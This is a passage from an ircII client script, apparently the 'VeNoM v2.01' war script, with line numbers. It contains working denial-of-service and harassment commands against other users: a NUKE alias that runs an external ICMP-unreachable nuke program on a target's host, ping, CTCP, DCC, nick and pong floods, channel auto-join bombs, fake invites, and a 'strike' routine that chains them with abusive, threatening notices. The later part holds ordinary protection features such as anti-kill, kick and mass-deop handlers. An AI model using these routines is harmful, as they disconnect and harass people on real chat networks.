  849.    ^on ^311 "*" {^assign ndomain $3}
  850.    ^on ^312 "*" {^assign nserver $1}
  851.    ^on ^319 "*" #
  852.    ^whois $0
  853.     wait
  854.     EVAL ^exec $nuke_pgm $ndomain $nserver unreach &
  855.     EVAL ^exec $nuke_pgm $nserver $ndomain unreach &
  856.    /vecho <NUKE> run on $0 at $ndomain on server $nserver\.
  857.    ^on 311 - "*"
  858.    ^on 312 - "*"
  859.    ^on 319 - "*"
  860.    ^assign -ndomain
  861.    ^assign -nserver
  862.   }
  863.   {/echo
  864.    /vecho Usage: /NUKE <nick>.  Root access is required to run this.}
  865. }
  866.  
  867. alias pingflood {
  868.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  869.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  870.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  871.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  872.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  873.   vecho <PING FLOOD sent to $0>
  874.   }
  875. alias sedflood {
  876.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  877.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  878.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  879.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  880.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  881.   vecho <CTCP SED FLOOD sent to $0>
  882.   }
  883.  
  884. alias tsunami {
  885.   EVAL repeatcmd 4 quote PRIVMSG $0 :$TSU
  886.   vecho <TSUNAMI sent to $0>
  887.   }
  888.  
  889. alias ajbomb {
  890.   if (rmatch($C #*)) {/EVAL ^assign OLDCHAN $C}
  891.     {
  892.     vecho You aren't on a channel, so you'll be on #text
  893.     ^assign OLDCHAN #text
  894.     }
  895.   if ([$1]) {^assign BOMBCHAN $1}
  896.     {^assign BOMBCHAN #$randcrap(8)}
  897.   //join $BOMBCHAN
  898.     wait
  899.   //channel $OLDCHAN
  900.   ^assign -OLDCHAN
  901.   EVAL ^on -join "$0 $BOMBCHAN" {
  902.     //mode $1 +k #8?3\;5h\(0
  903.     //leave $1
  904.     EVAL ^on join - "$0 $1"
  905.     }
  906.   //invite $0 $BOMBCHAN
  907.   vecho <AUTO-JOIN BOMB'ed $0>
  908.   ^assign -BOMBCHAN
  909.   }
  910.  
  911. alias ctcpflood {
  912.   repeatcmd 18 ctcp $0 CLIENTINFOCLIENTINFO
  913.   vecho <CTCP CLIENTINFO flooded $0>  You might get a lot of replies...
  914.   }
  915.  
  916. alias nickflood {
  917.   EVAL ^assign OLDNICK $N
  918.     @ NFCOUNTER = 0
  919.     while (NFCOUNTER < [$0]) {
  920.       @ NFCOUNTER = NFCOUNTER + 1
  921.       EVAL quote NICK $randcrap(2)$rand(9999999)
  922.       }
  923.     ^assign -NFCOUNTER
  924.   EVAL //nick $OLDNICK
  925.   ^assign -OLDNICK
  926.   }
  927. alias dccbomb {
  928.   quote PRIVMSG $0 :DCC SEND doom3-1.zip $rand(99999999) 19 6667
  929.   quote PRIVMSG $0 :DCC SEND doom3-2.zip $rand(99999999) 19 6667
  930.   quote PRIVMSG $0 :DCC SEND doom3-3.zip $rand(99999999) 19 6667
  931.   quote PRIVMSG $0 :DCC SEND doom3-4.zip $rand(99999999) 19 6667
  932.   quote PRIVMSG $0 :DCC SEND doom3-5.zip $rand(99999999) 19 6667
  933.   quote PRIVMSG $0 :DCC SEND doom3-6.zip $rand(99999999) 19 6667
  934.   quote PRIVMSG $0 :DCC SEND doom3-7.zip $rand(99999999) 19 6667
  935.   quote PRIVMSG $0 :DCC SEND doom3-8.zip $rand(99999999) 19 6667
  936.   quote PRIVMSG $0 :DCC SEND doom3-9.zip $rand(99999999) 19 6667
  937.   quote PRIVMSG $0 :DCC SEND doom3-10.zip $rand(99999999) 19 6667
  938.   quote PRIVMSG $0 :DCC SEND doom3-11.zip $rand(99999999) 19 6667
  939.   quote PRIVMSG $0 :DCC SEND doom3-12.zip $rand(99999999) 19 6667
  940.   quote PRIVMSG $0 :DCC SEND doom3-13.zip $rand(99999999) 19 6667
  941.   vecho <DCC AUTOGET-BOMB sent to $0>
  942.   }
  943.  
  944. alias dccflood {
  945.   EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
  946.  
  947.  
  948.  
  949.  
  950.  
  951.  
  952.  
  953.  
  954.  
  955.  
  956.  
  957.  
  958.  
  959.  
  960.  
  961.  
  962.  
  963.  
  964.  
  965.  
  966.  
  967.  
  968.  
  969.  
  970.  
  971.  
  972.  
  973.  
  974.  
  975.  
  976.  
  977.  
  978.  
  979.  
  980.  
  981.  
  982.  
  983.  
  984.  
  985.  
  986.  
  987.  
  988.  
  989.  
  990.  
  991.  
  992.  
  993.  
  994.  
  995.  
  996.  
  997.  
  998.  
  999.  
  1000.  
  1001.  
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007.  
  1008.  
  1009.  
  1010.  
  1011.  
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019.  
  1020.  
  1021.  
  1022.  
  1023.  
  1024.  
  1025.  
  1026.  
  1027.  
  1028.  
  1029.  
  1030.  
  1031.  
  1032.  
  1033.  
  1034.  
  1035.  
  1036.  
  1037.  
  1038.  
  1039.  
  1040.  
  1041.  
  1042.  
  1043.  
  1044.  
  1045.  
  1046.  
  1047.  
  1048.  
  1049.  
  1050.  
  1051.  
  1052.  
  1053.  
  1054.  
  1055.  
  1056.  
  1057.  
  1058.  
  1059.  
  1060.  
  1061.  
  1062.  
  1063.  
  1064.  
  1065.  
  1066.  
  1067.  
  1068.  
  1069.  
  1070.  
  1071. ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  1072.   EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
  1073.  
  1074.  
  1075.  
  1076.  
  1077.  
  1078.  
  1079.  
  1080.  
  1081.  
  1082.  
  1083.  
  1084.  
  1085.  
  1086.  
  1087.  
  1088.  
  1089.  
  1090.  
  1091.  
  1092.  
  1093.  
  1094.  
  1095.  
  1096.  
  1097.  
  1098.  
  1099.  
  1100.  
  1101.  
  1102.  
  1103.  
  1104.  
  1105.  
  1106.  
  1107.  
  1108.  
  1109.  
  1110.  
  1111.  
  1112.  
  1113.  
  1114.  
  1115.  
  1116.  
  1117.  
  1118.  
  1119.  
  1120.  
  1121.  
  1122.  
  1123.  
  1124.  
  1125.  
  1126.  
  1127.  
  1128.  
  1129.  
  1130.  
  1131.  
  1132.  
  1133.  
  1134.  
  1135.  
  1136.  
  1137.  
  1138.  
  1139.  
  1140.  
  1141.  
  1142.  
  1143.  
  1144.  
  1145.  
  1146.  
  1147.  
  1148.  
  1149.  
  1150.  
  1151.  
  1152.  
  1153.  
  1154.  
  1155.  
  1156.  
  1157.  
  1158.  
  1159.  
  1160.  
  1161.  
  1162.  
  1163.  
  1164.  
  1165.  
  1166.  
  1167.  
  1168.  
  1169.  
  1170.  
  1171.  
  1172.  
  1173.  
  1174.  
  1175.  
  1176.  
  1177.  
  1178.  
  1179.  
  1180.  
  1181.  
  1182.  
  1183.  
  1184.  
  1185.  
  1186.  
  1187.  
  1188.  
  1189.  
  1190.  
  1191.  
  1192.  
  1193.  
  1194.  
  1195.  
  1196.  
  1197.  
  1198. ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  1199.   EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
  1200.  
  1201.  
  1202.  
  1203.  
  1204.  
  1205.  
  1206.  
  1207.  
  1208.  
  1209.  
  1210.  
  1211.  
  1212.  
  1213.  
  1214.  
  1215.  
  1216.  
  1217.  
  1218.  
  1219.  
  1220.  
  1221.  
  1222.  
  1223.  
  1224.  
  1225.  
  1226.  
  1227.  
  1228.  
  1229.  
  1230.  
  1231.  
  1232.  
  1233.  
  1234.  
  1235.  
  1236.  
  1237.  
  1238.  
  1239.  
  1240.  
  1241.  
  1242.  
  1243.  
  1244.  
  1245.  
  1246.  
  1247.  
  1248.  
  1249.  
  1250.  
  1251.  
  1252.  
  1253.  
  1254.  
  1255.  
  1256.  
  1257.  
  1258.  
  1259.  
  1260.  
  1261.  
  1262.  
  1263.  
  1264.  
  1265.  
  1266.  
  1267.  
  1268.  
  1269.  
  1270.  
  1271.  
  1272.  
  1273.  
  1274.  
  1275.  
  1276.  
  1277.  
  1278.  
  1279.  
  1280.  
  1281.  
  1282.  
  1283.  
  1284.  
  1285.  
  1286.  
  1287.  
  1288.  
  1289.  
  1290.  
  1291.  
  1292.  
  1293.  
  1294.  
  1295.  
  1296.  
  1297.  
  1298.  
  1299.  
  1300.  
  1301.  
  1302.  
  1303.  
  1304.  
  1305.  
  1306.  
  1307.  
  1308.  
  1309.  
  1310.  
  1311.  
  1312.  
  1313.  
  1314.  
  1315.  
  1316.  
  1317.  
  1318.  
  1319.  
  1320.  
  1321.  
  1322.  
  1323.  
  1324.  
  1325. ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  1326.   EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
  1327.  
  1328.  
  1329.  
  1330.  
  1331.  
  1332.  
  1333.  
  1334.  
  1335.  
  1336.  
  1337.  
  1338.  
  1339.  
  1340.  
  1341.  
  1342.  
  1343.  
  1344.  
  1345.  
  1346.  
  1347.  
  1348.  
  1349.  
  1350.  
  1351.  
  1352.  
  1353.  
  1354.  
  1355.  
  1356.  
  1357.  
  1358.  
  1359.  
  1360.  
  1361.  
  1362.  
  1363.  
  1364.  
  1365.  
  1366.  
  1367.  
  1368.  
  1369.  
  1370.  
  1371.  
  1372.  
  1373.  
  1374.  
  1375.  
  1376.  
  1377.  
  1378.  
  1379.  
  1380.  
  1381.  
  1382.  
  1383.  
  1384.  
  1385.  
  1386.  
  1387.  
  1388.  
  1389.  
  1390.  
  1391.  
  1392.  
  1393.  
  1394.  
  1395.  
  1396.  
  1397.  
  1398.  
  1399.  
  1400.  
  1401.  
  1402.  
  1403.  
  1404.  
  1405.  
  1406.  
  1407.  
  1408.  
  1409.  
  1410.  
  1411.  
  1412.  
  1413.  
  1414.  
  1415.  
  1416.  
  1417.  
  1418.  
  1419.  
  1420.  
  1421.  
  1422.  
  1423.  
  1424.  
  1425.  
  1426.  
  1427.  
  1428.  
  1429.  
  1430.  
  1431.  
  1432.  
  1433.  
  1434.  
  1435.  
  1436.  
  1437.  
  1438.  
  1439.  
  1440.  
  1441.  
  1442.  
  1443.  
  1444.  
  1445.  
  1446.  
  1447.  
  1448.  
  1449.  
  1450.  
  1451.  
  1452. ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  1453.   EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
  1454.  
  1455.  
  1456.  
  1457.  
  1458.  
  1459.  
  1460.  
  1461.  
  1462.  
  1463.  
  1464.  
  1465.  
  1466.  
  1467.  
  1468.  
  1469.  
  1470.  
  1471.  
  1472.  
  1473.  
  1474.  
  1475.  
  1476.  
  1477.  
  1478.  
  1479.  
  1480.  
  1481.  
  1482.  
  1483.  
  1484.  
  1485.  
  1486.  
  1487.  
  1488.  
  1489.  
  1490.  
  1491.  
  1492.  
  1493.  
  1494.  
  1495.  
  1496.  
  1497.  
  1498.  
  1499.  
  1500.  
  1501.  
  1502.  
  1503.  
  1504.  
  1505.  
  1506.  
  1507.  
  1508.  
  1509.  
  1510.  
  1511.  
  1512.  
  1513.  
  1514.  
  1515.  
  1516.  
  1517.  
  1518.  
  1519.  
  1520.  
  1521.  
  1522.  
  1523.  
  1524.  
  1525.  
  1526.  
  1527.  
  1528.  
  1529.  
  1530.  
  1531.  
  1532.  
  1533.  
  1534.  
  1535.  
  1536.  
  1537.  
  1538.  
  1539.  
  1540.  
  1541.  
  1542.  
  1543.  
  1544.  
  1545.  
  1546.  
  1547.  
  1548.  
  1549.  
  1550.  
  1551.  
  1552.  
  1553.  
  1554.  
  1555.  
  1556.  
  1557.  
  1558.  
  1559.  
  1560.  
  1561.  
  1562.  
  1563.  
  1564.  
  1565.  
  1566.  
  1567.  
  1568.  
  1569.  
  1570.  
  1571.  
  1572.  
  1573.  
  1574.  
  1575.  
  1576.  
  1577.  
  1578.  
  1579. ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  1580.   vecho <DCC CHAT flood sent to $0>
  1581.   }
  1582.  
  1583. alias dcctsunami {
  1584.   quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  1585.   quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  1586.   quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  1587.   quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  1588.   vecho <DCC TSUNAMI sent to $0>
  1589.   }
  1590.  
  1591. alias pongflood {
  1592.   repeatcmd 4 EVAL /quote PONG $TSU :$0
  1593.   vecho <PONG FLOOD sent to $0>
  1594.   }
  1595.  
  1596. alias fakeinvite {
  1597.   if ([$1]) {
  1598.     ^assign INVITESTR $strip(# $1)
  1599.     ^assign INVITESTR \#${INVITESTR}
  1600.     quote INVITE $0 $INVITESTR
  1601.     ^assign -INVITESTR
  1602.     vecho <FAKE-INVITED $0 to channel $1>
  1603.     }
  1604.     {vecho /FAKEINVITE <nick> <channel>}
  1605.   }
  1606.  
  1607. set input_prompt VeNoM v2.01 is loading. [o....]
  1608. alias strike {
  1609. vecho Loading VeNoM's +STRIKE+ feature...
  1610. vecho NOTE - This is VERY nasty... So, due to the nature of this command,
  1611. vecho you may be flooded off your server.  If this happens, simply change
  1612. vecho servers.
  1613. vecho <INITIATING +STRIKE+ on $0>  They may as well kiss their ass
  1614. vecho goodbye.
  1615. vecho This should take about 20 seconds.
  1616. nnotice $0 <THIS MEANS WAR!>
  1617. nnotice $0 <Now kiss your ass goodbye, motherfucker...>
  1618. flash $0
  1619. flash $0
  1620. flash $0
  1621. flash $0
  1622. dccbomb $0
  1623. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1624. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1625. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1626. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1627. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1628. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1629. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1630. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1631. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1632. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1633. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1634. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1635. nnotice $0 THIS IS FUN! NOW FUCK YOU!
  1636. nnotice $0 OK!  I'M DONE!
  1637. flash $0
  1638. flash $0
  1639. flash $0
  1640. flash $0
  1641. nnotice $0 I LIED, MOFUCK!  NOW YOU DIE!
  1642. nuke $0
  1643. nuke $0
  1644. }
  1645.  
  1646. ### The command that makes all the difference :)
  1647.  
  1648. alias beware {
  1649. me is in command of <-Dethnite's VeNoM v2.01!-> Beware the serpent...
  1650. }
  1651.  
  1652. # Advanced Kill Protection Routines
  1653.  
  1654. alias antikill {
  1655. if (set.akll!=[Y]) {
  1656. @ set.toak= set.akll= [Y]
  1657. vecho Anti-Kill has been auto-engaged.
  1658. ^on ^raw "% 433 *" {
  1659. if ((N!=var.dnck) && (var.dnck!=[NONE])) {
  1660. //nick $var.dnck
  1661. vecho Nick already in use, using default.
  1662. }{
  1663. //nick $left(5 $N)$rand(9999)
  1664. vecho Nick already in use, using random nick.
  1665. }
  1666. ^on -window "% ??? You have been rej*" if ([$1]==[***]) {/DoChangeNick}
  1667. ^on -window "% ??? % Nickname Col% KILL*" if ([$1]==[***]) {/DoChangeNick}
  1668. ^on -raw_irc "%.% QUIT :*Killed* %.%*%.%*" {
  1669. incKill
  1670. if ((cnt.kll>=max.kll) && (var.stopchg!=[Y])) {
  1671. @ var.stopchg= [Y]
  1672. @ cnt.kll= 0
  1673. timer 10 ^assign -var.stopchg
  1674. ChangeNick
  1675. vecho Max Kills reached.  Changing nick...
  1676. }}}}{
  1677. @ set.toak= set.akll= [N]
  1678. vecho Anti-Kill has now been disengaged.
  1679. ^on raw_irc -"%.% QUIT :*Killed* %.%*%.%*"
  1680. ^on raw_irc -"% 433 *"
  1681. ^on window -"% ??? You have been rej*"
  1682. ^on window -"% ??? % Nickname col% KILL*"
  1683. }}
  1684.  
  1685. alias DoChangeNick {
  1686. if (var.changing!=[Y]) {
  1687. @ var.changing= [Y]
  1688. ChangeNick
  1689. ^timer -delete 954
  1690. timer -refnum 954 5 ^assign -var.changing
  1691. }}  
  1692.  
  1693. alias incKill {
  1694. @ killcount = killcount + 1
  1695. timer 16 if (cnt.kll>0) {@ cnt.kll= cnt.kll-1}
  1696. }
  1697.  
  1698. alias ChangeNick {
  1699. if (var.nick!=[<NONE>]) {//NICK $var.dnck} {//NICK $left(5 $N)$rand(9999)}
  1700. }
  1701.  
  1702. alias defnick {
  1703. if ([$0]) {@ var.dnck= [$0]}
  1704. vecho Default nick is now $var.dnck\.
  1705. }
  1706.  
  1707. alias maxkills {
  1708. if ([$0]) {@ max.kll= [$0]}
  1709. vecho Max-Kill limit is now $max.kll\.
  1710. }
  1711.  
  1712. EVAL $srand($time())
  1713. EVAL antikill
  1714.  
  1715.  
  1716. ### Server Message Redefinition
  1717.  
  1718. on ^002 "*" #
  1719. on ^305 "*" #
  1720. on ^306 "*" #
  1721. on ^443 "*" #
  1722. on ^333 "*" echo *** Topic for $1 set by $2 on $mid(4 15 $stime($3))
  1723. on ^404 "*" check_synch $0-
  1724. on ^482 "*" check_synch $0-
  1725. on ^301 "*" if ([$0]!=[$N]) {/echo ***   Away        : $0 is away: $1-}
  1726. on ^311 "*" {
  1727. echo *** Whois Information for: $1
  1728. echo ***   Address     : $2@$3
  1729. echo ***   IRCNAME     : $5-
  1730. }
  1731. on ^312 "*" echo ***   Server      : $1 \($2-\)
  1732. on ^313 "*" echo ***   IRC OP      : $1 has operator status.
  1733. on ^314 "*" {
  1734. echo *** Whowas information for: $1
  1735. echo ***   Address     : $2@$3
  1736. echo ***   IRCNAME     : $5-
  1737. }
  1738. on ^319 "*" echo ***   On Channels : $1-
  1739. on ^317 "*" {
  1740. if (index(012345679 $3) != -1) {
  1741. ^assign -sectime
  1742. ^assign -mintime
  1743. ^assign sectime $2
  1744. @ mintime = sectime / 60
  1745. echo ***   Idle Time   : $mintime minute\(s\) \($2 seconds\)
  1746. echo ***   Signed on   : $stime($3)
  1747. }{
  1748. ^assign -sectime
  1749. ^assign -mintime
  1750. ^assign sectime $2
  1751. @ mintime = sectime / 60
  1752. echo ***   Idle Time   : $mintime minute\(s\) \($2 seconds\)
  1753. }}
  1754.  
  1755. alias check_synch {
  1756. if ([$0]!=[$desynch]) {
  1757. if ([$0]!=[$S]) {
  1758. vecho $0 is desynched from IRC.
  1759. ^assign desynch $0
  1760. tref 500 60 ^assign -desynch
  1761. }{/echo *** $1-}}}
  1762.  
  1763. ### MODE and KICK Protection 
  1764.  
  1765. alias mdact {
  1766. if ((isop($N $1))&&([$mdwait]!=[$0])&&([$decode($0)]!=[$N])) {
  1767. mmode $1 -o $decode($0)
  1768. vecho <MEGA-DEOP DETECTED> By: $decode($0) On: $1
  1769. ^assign mdwait $0
  1770. tref 501 8 ^assign -mdwait
  1771. }
  1772. @ mcount = 0
  1773. }
  1774.  
  1775. alias rv {
  1776. //msg $0 $lastv
  1777. }
  1778.  
  1779. alias kact {
  1780. if ((isop($N $1))&&([$kwait]!=[$0])&&([$decode($0)]!=[$N])) {
  1781. mmode $1 -o $decode($0)
  1782. vecho <MASS-KiCK DETECTED> By: $decode($0) On: $1
  1783. ^assign kwait $0
  1784. tref 502 8 ^assign -kwait
  1785. }
  1786. @ kcount = 0
  1787. }
  1788.  
  1789. alias wnoti {
  1790. @ TMPWRD = []
  1791. vecho Word Notification is currently $HLINGS\.
  1792. ^assign HLTMP $"[<-V->] Turn word notification ON or OFF?: "
  1793. if ([$HLTMP]==[ON]) {
  1794. ^assign TMPWRD $"[<-V->] Enter Word to be notified upon: "
  1795. if ([$TMPWRD]!=[]) {
  1796. ^assign HLINGS ON
  1797. ^assign hilite $TMPWRD
  1798. }{
  1799. vecho No notification word given.
  1800. }}{
  1801. if ([$HLTMP]==[OFF]) {
  1802. ^assign HLINGS OFF
  1803. ^assign -hilite
  1804. }}{
  1805. vecho Word Notification status is unchanged.
  1806. }}
  1807.  
  1808. alias mdtest {
  1809. if ([$0]==[$lastmd]) {
  1810. @ mcount = mcount + $2
  1811. ^timer 12 submode
  1812. if (mcount>msensor) {/mdact $0 $1}}{
  1813. ^assign lastmd $0
  1814. @ mcount = $2
  1815. ^timer 12 submode
  1816. if (mcount>msensor) {/mdact $0 $1}}}
  1817.  
  1818. alias ktest {
  1819. if (([$0]==[$lastmdk])&&([$0]!=[$encode($N)])) {
  1820. @ kcount = kcount + 1
  1821. ^timer 12 subkick
  1822. if (kcount>ksensor) {/kact $0 $1}
  1823. }{^assign lastmdk $0}}
  1824.  
  1825. ### MODE & KICK Handlers 
  1826.  
  1827. on -raw_irc "% MODE *" {
  1828. @ mdcnt = 0
  1829. @ nixcnt = 0
  1830. ^assign mde +
  1831. ^assign mdech $3
  1832. ^assign nix $4-
  1833. @ mdchop = [$encode($left($index(! $0) $0))]
  1834. if (([$prot]==[ON])&&(rmatch($3 -ooo* *-ooo*))) {/mdact $mdchop $2}
  1835. while (mid($mdcnt 1 $mdech)!=[]) {
  1836. ^assign mdecc $mid($mdcnt 1 $mdech)
  1837. if (([$mdecc]==[-])||([$mdecc]==[+])) {^assign mde $mdecc}{
  1838. if (match($mdecc b o k l m n s t p i)) {
  1839. if ([$mde$mdecc]==[+b]) {
  1840. if ((match($word($nixcnt $nix) $ownadd))&&(rmatch($0 *!*))) {/bansave $2 $mdchop $word($nixcnt $nix)}
  1841. if ((!rmatch($0 *!*))&&(isop($N $2))&&([$nhp]==[ON])&&([$SAVEBAN]==[])) {/mmode $2 -b $word($nixcnt $nix)}
  1842. ^assign -SAVEBAN
  1843. }
  1844. if ([$mde$mdecc]==[+o]) {
  1845. if ((!rmatch($0 *!*))&&(isop($N $2))&&([$nhp]==[ON])) {/mmode $2 -o $word($nixcnt $nix)}}
  1846. if ([$mde$mdecc]==[-o]) {/if ([$prot]==[ON]) {/mdtest $mdchop $2 1}}
  1847. if ([$mde$mdecc]==[+k]) {
  1848. ^assign chankey $word($nixcnt $nix)
  1849. if ((rmatch($word($nixcnt $nix) $false_chars))&&(rmatch($0 *!*))) {
  1850. EVAL ^set status_mode  $word(0 \(+$M\))
  1851. ^timer 10 _checkkey
  1852. if ((isop($N $2))&&([$cprot]==[ON])) {/mmode $2 -k $word($nixcnt $nix)}
  1853. }
  1854. {/if ((!rmatch($0 *!*))&&(isop($N $2))&&([$NHP]==[ON])) {/mmode $2 -k $word($nixcnt $nix)}}
  1855. }
  1856. @ nixcnt = nixcnt + 1
  1857. }}
  1858. @ mdcnt = mdcnt + 1
  1859. }}
  1860.  
  1861. on ^mode "%.% *" vecho <SERV-OP MODE DETECTED!> In $1: \'$2-\'
  1862.  
  1863. alias bansave {
  1864. if (isop($N $0)) {
  1865. mmode $0 -ob $decode($1) $2
  1866. kkick $0 $decode($1) $uban.kickmsg
  1867. }
  1868. ^assign SAVEBAN YES
  1869. vecho <BAN ON YOU DETECTED> By: $decode($1)
  1870. }
  1871.  
  1872. ### Kick handler 
  1873.  
  1874. on -raw_irc "% KICK *" {
  1875. ^assign kickchan $strip(: $2)
  1876. ^assign kickperson $encode($left($index(! $0) $0))
  1877. if ([$prot]==[ON]) {/ktest $kickperson $kickchan}
  1878. if (([$3]==[$N])&&([$REJOIN]==[ON])) {
  1879. cwait //join $kickchan
  1880. }}
  1881.  
  1882. ### Nick Flood Protection
  1883.  
  1884. on -channel_nick "*" {
  1885. if ( ([$cprot]==[ON])&&([$2]!=[$N])) {
  1886. if ([$newnick1]==[$encode($1)]) {@ nickcnt = nickcnt + 1}
  1887. if (nickcnt==nicksensor) {
  1888. if (isop($N $0)) {
  1889. kkick $0 $2 $nick.floodmsg
  1890. vecho <NiCK FLOOD DETECTED> On $0 by: $2
  1891. }
  1892. @ nickcnt = 0
  1893. }
  1894. ^assign newnick1 $encode($2)
  1895. ^timer 30 ^assign -newnick1
  1896. ^timer 30 @ nickcnt = 0
  1897. }}
  1898.  
  1899. alias wordkick {
  1900. if ([$0]) {
  1901. EVAL ^on -public "% % *$0-*" {/kkick $1 $0 <-WORDKiCK->}
  1902. EVAL ^on -action "% % *$0-*" {/kkick $1 $0 <-WORDKiCK->}
  1903. vecho WORDKiCK will be activated by anyone saying $0-\.
  1904. }{/vecho You must specify a word.}
  1905. }
  1906.  
  1907. alias remwk {
  1908. if ([$0]) {
  1909. ^on public - "% % *$0-*"
  1910. ^on action - "% % *$0-*"
  1911. vecho $0 removed from the WORDKiCK list.
  1912. }{/vecho Usage: /REMWK <word> to remove a word from your WORDKiCK list.}
  1913. }
  1914.  
  1915. alias wordban {
  1916. if ([$0]) {
  1917. EVAL ^on -public "% % *$0-*" {/bk $1 $0 <-WORDBAN->}
  1918. EVAL ^on -action "% % *$0-*" {/bk $1 $0 <-WORDBAN->}
  1919. vecho WORDBAN will be activated by anyone saying $0-\.
  1920. }{/vecho You must specify a word.}
  1921. }
  1922.  
  1923. alias remwb {
  1924. if ([$0]) {
  1925. ^on public - "% % *$0-*"
  1926. ^on action - "% % *$0-*"
  1927. vecho $0 removed from the WORDBAN list.
  1928. }{/vecho Usage: /REMWB <word> To remove a word from your WORDBAN list.}
  1929. }
  1930.  
  1931. alias mlkick {
  1932. vecho Leech-Kicks are currently $leechkick\.
  1933. ^assign tmplkick $"[<-V->] Turn Leech-Kick ON or OFF?: "
  1934. if ([$tmplkick]==[ON]&&[$leechkick]==[OFF]) {
  1935. ^assign leechkick ON
  1936. vecho Leech-Kicks are now ON.
  1937. }
  1938. if ([$tmplkick]==[OFF]&&[$leechkick]==[ON]) {
  1939. ^assign leechkick OFF
  1940. vecho Leech-Kicks are now OFF.
  1941. }}
  1942.  
  1943. alias showml {
  1944. vecho I have detected $num.mlist\ Mass XDCC LIST's this IRC Session.
  1945. }
  1946.  
  1947. alias pubml {
